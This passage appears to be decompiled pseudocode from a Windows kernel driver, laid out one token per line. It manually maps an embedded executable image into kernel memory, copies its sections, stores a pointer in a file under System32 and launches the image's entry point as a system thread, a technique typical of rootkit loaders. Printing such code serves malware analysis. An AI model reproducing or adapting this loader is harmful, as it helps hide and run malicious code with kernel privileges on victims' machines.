*
(_QWORD
*
)(qword_140017950
+
48
)
=
ExAllocatePoolWithTag(NonPagedPool,
*
(unsigned
int
*
)(v3
+
80
),
0x5347u
);
v5
=
*
(_QWORD
*
)(qword_140017950
+
48
);
if
( !v5 )
return
-
1073741823
;
v6
=
*
(unsigned
int
*
)(v4
+
80
);
if
(
*
(_DWORD
*
)(v4
+
80
) )
sub_140002C00(v5,
0i64
, v6);
v7
=
*
(unsigned
int
*
)(v4
+
84
);
v8
=
*
(_BYTE
*
*
)(qword_140017950
+
48
);
if
(
*
(_DWORD
*
)(v4
+
84
) )
{
v6
=
&unk_140004010
-
(_UNKNOWN
*
)v8;
do
{
*
v8
=
v8[v6];
+
+
v8;
-
-
v7;
}
while
( v7 );
}
v9
=
(char
*
)&unk_140004010
+
dword_14000404C;
for
( i
=
0i64
; (unsigned
int
)i <
*
(unsigned __int16
*
)(v4
+
6
); i
=
(unsigned
int
)(i
+
1
) )
{
v7
=
*
(unsigned
int
*
)&v9[
40
*
(unsigned
int
)i
+
280
];
v6
=
(signed __int64)&unk_140004010
+
*
(unsigned
int
*
)&v9[
40
*
(unsigned
int
)i
+
284
];
v11
=
*
(_QWORD
*
)(qword_140017950
+
48
)
+
*
(unsigned
int
*
)&v9[
40
*
(unsigned
int
)i
+
276
];
if
(
*
(_DWORD
*
)&v9[
40
*
(unsigned
int
)i
+
280
] )
{
v6
-
=
v11;
do
{
*
(_BYTE
*
)v11
=
*
(_BYTE
*
)(v6
+
v11);
+
+
v11;
-
-
v7;
}
while
( v7 );
}
}
if
( (
int
)sub_140001300(
*
(_QWORD
*
)(qword_140017950
+
48
), v7, v6, i) <
0
|| (
int
)sub_1400015A0(
*
(_QWORD
*
)(qword_140017950
+
48
)) <
0
)
{
return
-
1073741823
;
}
FileHandle
=
0i64
;
RtlInitUnicodeString(&v16, L
"\\SystemRoot\\System32\\AnyEvery.bin"
);
ObjectAttributes.Length
=
48
;
ObjectAttributes.RootDirectory
=
0i64
;
ObjectAttributes.Attributes
=
576
;
ObjectAttributes.ObjectName
=
&v16;
*
(_OWORD
*
)&ObjectAttributes.SecurityDescriptor
=
0i64
;
v12
=
ZwCreateFile(&FileHandle,
0x10000000u
, &ObjectAttributes, &IoStatusBlock,
0i64
,
0x80u
,
3u
,
3u
,
0x20u
,
0i64
,
0
);
if
( v12 >
=
0
)
{
ByteOffset.QuadPart
=
0i64
;
v12
=
ZwWriteFile(FileHandle,
0i64
,
0i64
,
0i64
, &IoStatusBlock, &qword_140017950,
8u
, &ByteOffset,
0i64
);
ZwClose(FileHandle);
}
if
( v12 <
0
)
return
v12;
v13
=
*
(unsigned
int
*
)(v4
+
40
);
ByteOffset.QuadPart
=
0i64
;
result
=
PsCreateSystemThread(
(PHANDLE)&ByteOffset,
0x1FFFFFu
,
0i64
,
(HANDLE)
0xFFFFFFFFFFFFFFFFi64
,
0i64
,
(PKSTART_ROUTINE)(
*
(_QWORD
*
)(qword_140017950
+
48
)
+
v13),
0i64
);